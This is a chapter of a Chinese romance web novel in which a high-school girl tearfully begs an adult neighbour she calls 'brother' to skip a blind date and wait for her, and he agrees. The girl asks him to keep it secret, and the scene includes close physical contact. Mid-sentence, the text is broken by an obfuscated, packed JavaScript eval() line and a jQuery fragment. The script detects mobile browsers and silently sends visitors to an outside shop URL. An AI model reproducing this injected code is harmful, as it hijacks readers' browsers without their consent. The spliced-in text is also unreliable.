“什么相亲？什么时候的事情？”姜奶奶完全一脸懵，“谁给你介绍认识的？”
苏默见状不太对，立刻调和道：“听沐城这口气，对面女孩子应该也是本市的吧，去看看呗，年轻人之间没什么大不了的。”
姜奶奶愣了好半天，回过神来发现自己有些失态，又乐呵呵地圆场：“也对也对，现在多看看也可以……”
桌面上又开始热闹起来，旁边的电视开着，春晚也已经开始，传来欢快的音乐声，还有一贯表演小品时观众的笑声。
苏彦觉得好吵。
“彦彦，多吃点儿肉。”温柔的声音再次在耳畔传来，像是刚才什么事情都没有发生过一样。
但是现在大人们都在这里，又是春节，苏彦不可能像私底下那样发脾气，只能紧抿着嘴唇。
可是越抿越委屈，苏彦觉得自己都要哭了，眼睛胀胀的。
明明今天姜沐城回来她很高兴的，期待了这么久的团聚，怎么会这样呢……
明明自己很快就要成年了，很快就到了可以和木木哥哥在一起的年纪。
他为什么不等等她？
苏彦抱着碗，感觉自己什么都没了。
不仅年纪没跟上，自上了高中起，个子也不长了，哪哪儿都心酸。
姜沐城个子太高，只看得到苏彦的头顶，伸出筷子，又给苏彦夹了块儿牛肉片。
苏家的年夜饭一直是丰盛的，杨廉手艺很好，辣的不辣的菜都做得很正宗，一桌子上什么烧椒豆花牛肉、水煮肉片、酸菜鱼、竹荪鸡汤，还有今年新熏制的香肠，麻辣的甜口的，都是苏彦爱吃的。
但苏彦看着碗里的东西，什么胃口都没有了。
杨廉坐在苏彦的左手边，看见孩子半天不动筷子，发呆了似的，极小声地问道：“怎么了啊闺女儿，不喜欢啊？”
“没有不喜欢。”苏彦淡淡道，把自己的小心思憋下去。
今天有姐姐和她的父母在场，她不能失了分寸。
这是苏彦鲜少的憋屈时刻。
她不留痕迹地瞟过去，姜沐城正和奶奶说着话，没注意到她。
也是……干嘛非得全神贯注地看着她。
她也只不过是个邻居家的小妹妹而已。
年纪又小又不懂事，烦死人了。
苏彦由委屈变成了愤怒，顿时操起筷子大口吃肉，颇有化悲愤为食欲的架势。
姜沐城扭过头来，看见苏彦的碗已经被清空了。
他发现了杨廉在另一边担忧的目光，这才觉得有些不对劲，正准备俯身问问苏彦悄悄话，却没料到身边的孩子兀地拔地而起，像个竹笋般撑着桌子站起来：“我吃好了。”
“吃好了就吃好了，下桌自己玩儿去吧，不知道的还以为在军训呢！”苏默在对面一直找招呼着柳家人，只觉得自家小孩儿莫名其妙的。
苏彦春晚也不看了，天也不了了，迈着步子回了自己房间，关上门就一个反锁。
杨廉和姜沐城对视一眼，两双眼睛都充满了迷茫。
孩子肯定是怎么闹脾气了，但是姜沐城不是都回来了吗？大过年的有啥好闹的啊？
杨廉想着，准备吃完饭后再去问问。
姜奶奶在一边还闷闷不乐的。
她有些说不出的生气。
姜沐城要去相亲的消息她也是才知道，只觉得又是姜沐城他爸妈私底下安排的。
以前姜沐城刚上大学没多久就巴不得把他介绍出去，她这个孙子也是个好欺负的，差点儿还想把女方带回来给她看。
这孩子学医，本科都还没读完，哪里需要这么着急！
更何况相亲这种模式都是留给没人要的男人的，她的孙子相貌学历又不差，何必如此，多半又是有人特意搭的线，就想着怎么把姜沐城做个人情卖出去。
对于姜沐城的父母双方，姜奶奶一贯是没有什么好脸色的。
要不是当年她选择接过照顾小孩儿的担子，不知道姜沐城又要被两人当成什么臭皮球踢来踢去呢！
吃完年夜饭，众人都来到了客厅，聊些闲天。
苏彦在房间里，听得到外面的热闹。
杨廉和苏颂在屋里收拾东西，苏默带着柳可白一家在沙发上聊天，姜奶奶反而和姜沐城留在桌子上，小声说着些话。
“你听我的，这么年轻去相亲是干什么，才二十出头的年纪，你自己好好学习把文凭拿到才是真的，着些不着急！”
姜沐城微微垂头，眼里似乎有些动摇，但最终还是看着奶奶的眼睛说道：“我觉得没什么不好，去看看吧……万一遇到合适的也可以考虑一下。”
眼看着自己的提议被姜沐城否决，她忍着脾气，还是语重心长道：“好孩子，你告诉奶奶，这件事是不是又是你爸妈给你安排的？”
“……不是，”他有些迟疑，瞳孔微微波动，“我自己找的机构安排的。”
听见这话，姜奶奶一口大气差点儿喘不上来，差点就想骂人了。
恰好杨廉过来擦桌子，拍了拍姜沐城的背，极小声地说道：“沐城，你帮我去看看苏彦，这小孩儿今晚有点儿不对劲。”
“等会儿回去我再跟你说！”姜奶奶干脆地说着，又转过头问杨廉：“闺女儿怎么了？”
杨廉笑笑，“没事，就是让沐城去帮忙管管孩子，那小孩儿不懂事，大过年的又躲自己房里玩游戏。”
“诶哟，小孩子嘛，都读高中了，后面高三更没得完了，趁现在多玩会儿，”姜奶奶对苏彦甚是疼爱，“都是一家人了，在家里没什么规不规矩懂不懂事的！”
杨廉跟姜奶奶聊起来，姜沐城起身，去敲苏彦的房门。
像往常一样，他轻轻地用指背叩响三下，却发现里面什么动静都没有。
低下头，发现门缝里也没有灯光亮出来。
这孩子，明明饭吃得好好的，怎么突然闹脾气了？
姜沐城有点担心了，但外面热热闹闹的，他也不敢过于声张，只是尽量夹着嗓子小声道：“彦彦？哥哥可以进来吗？”
大概等了有十秒，他还是不敢私自转动门把手，再次小声呼唤道：“彦彦？怎么了？”
又等了几秒，他终于听到了苏彦滴滴答答的脚步声。
听门锁的声音他才反应过来，妹妹甚至锁了门。
到底怎么了？
他有些慌神。
门开了一条缝，黑黢黢的，果然没开灯。
还在餐厅里的杨廉远远地望了一眼，看见姜沐城进去了就放下心来，扶着姜奶奶去沙发上聊天了。
苏颂也跟着望过去了一眼，却总觉得不太对劲。
“彦彦，怎么不开灯？”
姜沐城迈腿进去，手还没摸到墙壁上的开关，苏彦伸长手臂，把门带上了。
嘭的一声。
似乎有什么东西在悄然爆炸。
苏彦抱住了姜沐城的腰，头也埋进他的胸膛里。
这样的距离着实有点太近了。
“别开灯。”苏彦说道。
声音又小又闷，姜沐城只能感觉妹妹说话时吹出的气流，吹在腰腹处，带着暧昧的痒意。
他放下手，妥协道：“好，我不开，彦彦，你把手松开。”
“不松！”苏彦被逼急了，手甚至收得更紧了。
哥哥的腰好细，身上也好香。
明明两家用的是一样的洗衣液，为什么木木哥哥身上的要香这么多。
“彦彦？”
小小的卧室里，唯一的光源就是外面的月光，淡淡地倾洒下来，他只看得见苏彦的头顶。
他上手摸了摸，想像小时候那样安抚她。
但老方法并不管用了，他能感受到衣前的布料慢慢湿了。
他慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601734|203669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了神，立刻蹲下来，“怎么了彦彦？怎么哭了？”
窗外的光在他们后面，苏彦恰巧能看到他焦急的眼睛。
她用手抓着他胸前的衣服，咬着唇拧了拧，“你别去相亲好不好……”
情绪终于爆发出来，苏彦委屈得不行，眼泪啪嗒啪嗒地掉下来也不擦，两只手一刻也不敢离开他，仿佛下一秒她心爱的木木哥哥就要像嫦娥一样飞走了。
接下来说话都带着哭腔：
“你再等我两年好不好……”
“等我长大了我当你女朋友……求你了你不要去相亲，你不能不要我——”
明明是表白的话，但是苏彦越说越难受，最后变成了哇哇哇的大哭。
苏彦其实很少哭的。
自幼就是个心大又乐观的孩子，生活学习没受过什么苦，胆子大脾气也大，也没有谁能欺负她。
更何况年纪有这么大了，在外面哭哭啼啼的很没有面子。
但这次真的忍不住了，她就是很难过，一想到以后姜沐城不能当她的男朋友就难过。
更何况是在他面前，她本就是天然地会撒泼卖乖，哪里顾得上半点偶像包袱。
泪水涟涟，她看不清姜沐城的脸，只知道她喜欢的人半点没有声响。
她真的要闹了，像个小孩子一般，身子像个筛糠似的抖着撒泼。
“你不许去相亲——”
姜沐城沉默了半天，用手背擦了擦苏彦眼角的泪。
这孩子……什么时候变成这种心思了……
或许只是青春期到了，难免多想的年纪。
但孩子都急哭成这样，姜沐城也有些不知道该怎么办。
彦彦看起来又可爱又可怜。
他抽出几张纸巾，轻轻擦过孩子的脸庞。
视线终于清晰，她这才看见姜沐城那双噙着碎钻般的眼睛。
“彦彦……”他的眼神复杂，苏彦读不懂，“哥哥不可以这样子的，你是我妹妹……”
。
从小到大，苏彦在姜沐城面前就没有得不到的东西，如今有了，苏彦除了生闷气和撒泼什么也不会，也听不进去他的拒绝和犹豫。
“求求你了，你别去——”
明明刚刚才擦干的眼泪又涌出来。
姜沐城扶着她的肩膀，像从前一样哄着拍着：“让哥哥想想……彦彦别哭了。”
苏彦不管了，又埋进他怀里。
就这样被缠上了，姜沐城觉得又无奈又心酸又搞笑。
缓了好一会儿，他能听见怀里苏彦的小声啜泣和哽咽，还有孩子嘣嘣直跳的心脏。
从小到大都是这么惯着的，倒也赖他自己。
终于，苏彦在怀里仰头，直勾勾地看着他。
两人对上眼睛。
“别去——不许去……”
“我们两个保密就可以了，我不跟其他人讲的，好不好……”
她的手拧得更紧了些，“你也不说，没有人会知道的。”
那双眼睛看起来又要哭了。
他垂下头笑了一下，拉开苏彦，却没有松开她小小的肩膀，“……好，我不去相亲了。”
“哥哥等彦彦长大。”
就两年而已，姜沐城等得起，更何况这种事情，总得先把妹妹稳住，万一影响她学习就不好了。
后面保持距离就行……小孩子的心思变得快，过几年长大了或许就不这么想了。
倒也怪他，从小到大对妹妹太亲近了，她只是有些依赖他罢了。
“那你是答应了吗？”苏彦继续问道。
“等你长大了，如果还喜欢哥哥的话……再说。”
“那你至少得等我两年——不许反悔！”
被突然的喜悦砸中，苏彦还没彻底反应过来，双手还是一刻都不肯松开，甚至拧得更紧了些。
“好。”